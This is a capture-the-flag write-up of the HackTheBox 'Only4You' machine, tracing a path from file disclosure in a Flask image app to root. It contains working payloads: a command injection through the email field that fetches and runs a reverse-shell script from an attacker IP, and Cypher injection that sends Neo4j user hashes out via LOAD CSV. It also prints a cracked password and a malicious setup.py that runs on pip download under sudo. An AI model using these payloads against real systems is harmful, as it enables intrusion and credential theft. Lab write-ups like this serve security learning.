HackTheBox - Only4You
Writeup for HackTheBox’s Only4You machine.
only4you.htb
seemed like a static site with the contact
functionality where we had some input fields, directory busting did not reveal anything interestin:
Doing the vhost
scan, we can see that beta.only4you.htb
:
❯ gobuster vhost -u http://only4you.htb/ -w ~/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://only4you.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/kali/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/04/23 06:14:42 Starting gobuster in VHOST enumeration mode
===============================================================
Found: beta.only4you.htb (Status: 200) [Size: 2191]
===============================================================
2023/04/23 06:18:25 Finished
===============================================================
It seems like an image conversion/resize website and it also allow us to download source code:
Downloading the source and analyzing the [app.py](http://app.py)
:
❯ tree
.
├── beta
│ ├── app.py
│ ├── static
│ │ └── img
│ │ └── image-resize.svg
│ ├── templates
│ │ ├── 400.html
│ │ ├── 404.html
│ │ ├── 405.html
│ │ ├── 500.html
│ │ ├── convert.html
│ │ ├── index.html
│ │ ├── list.html
│ │ └── resize.html
│ ├── tool.py
│ └── uploads
│ ├── convert
│ ├── list
│ └── resize
└── source.zip
from flask import Flask, request, send_file, render_template, flash, redirect, send_from_directory
import os, uuid, posixpath
from werkzeug.utils import secure_filename
from pathlib import Path
from tool import convertjp, convertpj, resizeimg
app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['RESIZE_FOLDER'] = 'uploads/resize'
app.config['CONVERT_FOLDER'] = 'uploads/convert'
app.config['LIST_FOLDER'] = 'uploads/list'
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png']
@app.route('/', methods=['GET'])
def main():
return render_template('index.html')
@app.route('/resize', methods=['POST', 'GET'])
def resize():
if request.method == 'POST':
if 'file' not in request.files:
flash('Something went wrong, Try again!', 'danger')
return redirect(request.url)
file = request.files['file']
img = secure_filename(file.filename)
if img != '':
ext = os.path.splitext(img)[1]
if ext not in app.config['UPLOAD_EXTENSIONS']:
flash('Only png and jpg images are allowed!', 'danger')
return redirect(request.url)
file.save(os.path.join(app.config['RESIZE_FOLDER'], img))
status = resizeimg(img)
if status == False:
flash('Image is too small! Minimum size needs to be 700x700', 'danger')
return redirect(request.url)
else:
flash('Image is succesfully uploaded!', 'success')
else:
flash('No image selected!', 'danger')
return redirect(request.url)
return render_template('resize.html', clicked="True"), {"Refresh": "5; url=/list"}
else:
return render_template('resize.html', clicked="False")
@app.route('/convert', methods=['POST', 'GET'])
def convert():
if request.method == 'POST':
if 'file' not in request.files:
flash('Something went wrong, Try again!', 'danger')
return redirect(request.url)
file = request.files['file']
img = secure_filename(file.filename)
if img != '':
ext = os.path.splitext(img)[1]
if ext not in app.config['UPLOAD_EXTENSIONS']:
flash('Only jpg and png images are allowed!', 'danger')
return redirect(request.url)
file.save(os.path.join(app.config['CONVERT_FOLDER'], img))
if ext == '.png':
image = convertpj(img)
return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)
else:
image = convertjp(img)
return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)
else:
flash('No image selected!', 'danger')
return redirect(request.url)
return render_template('convert.html')
else:
[f.unlink() for f in Path(app.config['CONVERT_FOLDER']).glob("*") if f.is_file()]
return render_template('convert.html')
@app.route('/source')
def send_report():
return send_from_directory('static', 'source.zip', as_attachment=True)
@app.route('/list', methods=['GET'])
def list():
return render_template('list.html')
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
@app.errorhandler(404)
def page_not_found(error):
return render_template('404.html'), 404
@app.errorhandler(500)
def server_error(error):
return render_template('500.html'), 500
@app.errorhandler(400)
def bad_request(error):
return render_template('400.html'), 400
@app.errorhandler(405)
def method_not_allowed(error):
return render_template('405.html'), 405
if __name__ == '__main__':
app.run(host='127.0.0.1', port=80, debug=False)
We see that it has a download endpoint where it checks basic things for LFI like ../
characters and also checks if the given path is not absolute, check from the application’s upload directory but if the given path is absolute, then proceed to provide the file in the response. This can be taken into our advantage as we can specify the absolute path of any arbitrary file on the system and retrieve the contents of it, from example giving ../../../../.../../etc/paswd
will result in failure as it won’t pass the filter check but giving /etc/passwd
which is the absolute path, the application will return the file contents.
From the further investigation, nothing interesting was found, since we know that there is the main website running, I checked the error.log
for the nginx
and it showed the directory path for the main site:
I grabbed that [app.py](http://app.py)
from the only4you.htb
directory from the /var/www/
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid
app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
email = request.form['email']
subject = request.form['subject']
message = request.form['message']
ip = request.remote_addr
status = sendmessage(email, subject, message, ip)
if status == 0:
flash('Something went wrong!', 'danger')
elif status == 1:
flash('You are not authorized!', 'danger')
else:
flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
return redirect('/#contact')
else:
return render_template('index.html')
@app.errorhandler(404)
def page_not_found(error):
return render_template('404.html'), 404
@app.errorhandler(500)
def server_errorerror(error):
return render_template('500.html'), 500
@app.errorhandler(400)
def bad_request(error):
return render_template('400.html'), 400
@app.errorhandler(405)
def method_not_allowed(error):
return render_template('405.html'), 405
if __name__ == '__main__':
app.run(host='127.0.0.1', port=80, debug=False)
From the first glance the code had nothing interesting accept form
module which was being imported, checking the [form.py](http://form.py)
:
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1
else:
domains = []
ips = []
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
dms.pop(0)
for domain in dms:
domains.append(domain)
while True:
for domain in domains:
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
domains.clear()
for domain in dms:
domains.append(domain)
elif "ip4:" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
pass
break
elif "ip4" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
return 1
for i in ips:
if ip == i:
return 2
elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
return 2
else:
return 1
def sendmessage(email, subject, message, ip):
status = issecure(email, ip)
if status == 2:
msg = EmailMessage()
msg['From'] = f'{email}'
msg['To'] = 'info@only4you.htb'
msg['Subject'] = f'{subject}'
msg['Message'] = f'{message}'
smtp = smtplib.SMTP(host='localhost', port=25)
smtp.send_message(msg)
smtp.quit()
return status
elif status == 1:
return status
else:
return status
This script performs the pattern to check for the email address then split it in two half and check the address of the domain by calling dig
via [subprocess.run](http://subprocess.run)
#!/usr/bin/python3
from subprocess import run,PIPE
import re
email = "hello@gmail.com;id"
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
print("Nope, try again")
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
print(output)
Though the regex
was used to check if the pattern
matches the email then the second half was passed to the dig
command, what we can do here is provide a valid mail and after that add a semicolon in the address, since re.match
is used, once the pattern will be found it will return True
As we can see that ;id
was given at the end of the mail address and is executed. Next, we can try the same payload on the website, here we can just provide the wget
command to confirm if it is working and it made the connection to local HTTP Server:
❯ sudo python3 -m http.server 80 --bind 10.10.14.22
[sudo] password for kali:
Serving HTTP on 10.10.14.22 port 80 (http://10.10.14.22:80/) ...
10.10.11.210 - - [23/Apr/2023 07:25:03] "GET / HTTP/1.1" 200 -
Now, we just download the [shel.sh](http://shel.sh)
file containing the reverse shell payload and then executing it with the next request with bash /tmp/shell.sh
name=robin&email=robin%40only4you%2Ehtb%3Bwget%20http%3A%2F%2F10%2E10%2E14%2E22%2Fshell%2Esh%20%2DO%20%2Ftmp%2Fshell%2Esh&subject=nothing&message=al
name=robin&email=robin%40only4you%2Ehtb%3Bbash%20%2Ftmp%2Fshell%2Esh&subject=nothing&message=al
Doing so, we got the connection on the listener:
After doing initial enumeration, I noticed there were two users named john
and dev
and in the /opt
folder, we see that there were two folders gogs
and internal_app
but we did not have permissions to check the folder, moving on, I saw that there were two ports in use 3000
and 8001
bash-5.0$ netstat -ntpl
netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1034/nginx: worker
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:7687 :::* LISTEN -
tcp6 0 0 127.0.0.1:7474 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
bash-5.0$ cd /tmp
Since we do not have the SSH connection, I used the chisel
to perform port forwarding:
bash-5.0$ ./chisel client 10.10.14.22:9999 R:8001:127.0.0.1:8001 R:3000:127.0.0.1:3000
<22:9999 R:8001:127.0.0.1:8001 R:3000:127.0.0.1:3000
2023/04/23 07:40:38 client: Connecting to ws://10.10.14.22:9999
2023/04/23 07:40:39 client: Connected (Latency 112.100734ms)
Checking the port 3000
, it was running gogs
and we did not have any credentials to check here:
Moving on to the port 8001
, it also had a login page:
Trying with the following credentials resulted in the application access:
admin:admin
The application had a task marked as completed that the transfer to neo4j
database has been completed:
We also had a “Employee” page which allowed us to search for employees:
Giving a single quote in the search box resulted in 500
error:
Given, we already know that the backend database is neo4j
, just a note that it differs from the SQL queries, neo4j
uses Cypher Queries and for the Cypher queries one thing to note down is that every query must return some sort of the value. To check and confirm the hypothesis of the injection, there is a procedure named as LOAD CSV FROM
which can be used to load arbitrary values from a remote server over HTTP connection. Here, we just tried to check if it makes the connection to our remote HTTP server:
' OR 1=1 LOAD CSV FROM 'http://10.10.14.22' AS y RETURN ''//
Injecting the above query and checking the HTTP Server, we see that there were some requests made to it from 10.10.11.210
❯ sudo python3 -m http.server 80 --bind 10.10.14.22
Serving HTTP on 10.10.14.22 port 80 (http://10.10.14.22:80/) ...
10.10.11.210 - - [23/Apr/2023 11:10:29] "GET / HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 11:10:29] "GET / HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 11:10:30] "GET / HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 11:10:30] "GET / HTTP/1.1" 200 -
Next thing to try here is to extract labels
which is equivalent for SQL’s tables:
' MATCH (n) WITH 1337 AS x CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://10.10.14.22/'+d AS y RETURN y //
And on our HTTP server, we see that a request to user
endpoint was made which means there is a label called user
10.10.11.210 - - [23/Apr/2023 11:22:03] "GET /user HTTP/1.1" 404
Now that we know the label
, we can get the data from the label
:
' OR 1=1 WITH 1 as a MATCH (f:User) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.22/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
Injecting the payload resulted in several connections to our HTTP server revealing the hashes and usernames:
❯ sudo python3 -m http.server 80 --bind 10.10.14.22
Serving HTTP on 10.10.14.22 port 80 (http://10.10.14.22:80/) ...
10.10.11.210 - - [23/Apr/2023 16:28:44] "GET /shell.sh HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 16:33:04] code 404, message File not found
10.10.11.210 - - [23/Apr/2023 16:33:04] "GET /user HTTP/1.1" 404 -
10.10.11.210 - - [23/Apr/2023 16:54:50] code 404, message File not found
10.10.11.210 - - [23/Apr/2023 16:54:50] "GET /neo4j HTTP/1.1" 404 -
10.10.11.210 - - [23/Apr/2023 16:56:57] code 400, message Bad request syntax ('GET /Neo4j Kernel HTTP/1.1')
10.10.11.210 - - [23/Apr/2023 16:56:57] "GET /Neo4j Kernel HTTP/1.1" 400 -
10.10.11.210 - - [23/Apr/2023 17:06:45] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:45] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:45] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:45] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:46] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:46] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:46] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:46] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:46] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:46] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:47] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:47] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:47] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:47] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:47] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:47] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:48] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:48] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:48] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [23/Apr/2023 17:06:48] "GET /?username=john HTTP/1.1" 200 -
Cracking the hashes
on the crackstation, we see that there is a hash which equals to ThisIs4You
and that has belonged to john
user:
john:ThisIs4You
Now, we can login to the SSH via the obtained credentials:
Once logged in and checking if there is any command that could be ran by john
user:
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
Now, searching for any privilege escalation online for the pip download
, I stumbled on the following post:
https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/
Following the post, I just changed the [setup.py](http://setup.py)
and used os.system
to execute the same shell script that I had downloaded previously to the machine:
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os
def RunCommand():
print("Hello, p0wnd!")
os.system("bash /tmp/shell.sh")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)
Now, we can just upload the tar.gz
file to a repository ongogs
using john
credentials and then execute the command:
- Note that in order to run the
sudo pip download
, it only accepted atar.gz
file downloaded from the port3000
of the localhost, so we needed to upload thetar.gz
file to thegogs
john@only4you:/var/tmp/tested_repo$ cp ../this_is_fine_wuzzi-0.0.1.tar.gz xploited.tar.gz
john@only4you:/var/tmp/tested_repo$ git add .
john@only4you:/var/tmp/tested_repo$ git commit -m "exp"
[master 675d20a] exp
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 xploited.tar.gz
john@only4you:/var/tmp/tested_repo$ git push
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 2.94 KiB | 2.94 MiB/s, done.
Total 3 (delta 0), reused 0 (delta 0)
Username for 'http://127.0.0.1:3000': john
Password for 'http://john@127.0.0.1:3000':
To http://127.0.0.1:3000/john/tested_repo.git
947c79a..675d20a master -> master
I uploaded the tar.gz
via git
command as the web application for the gogs
was too buggy over the tunneling, then executing the command, resulted in root
: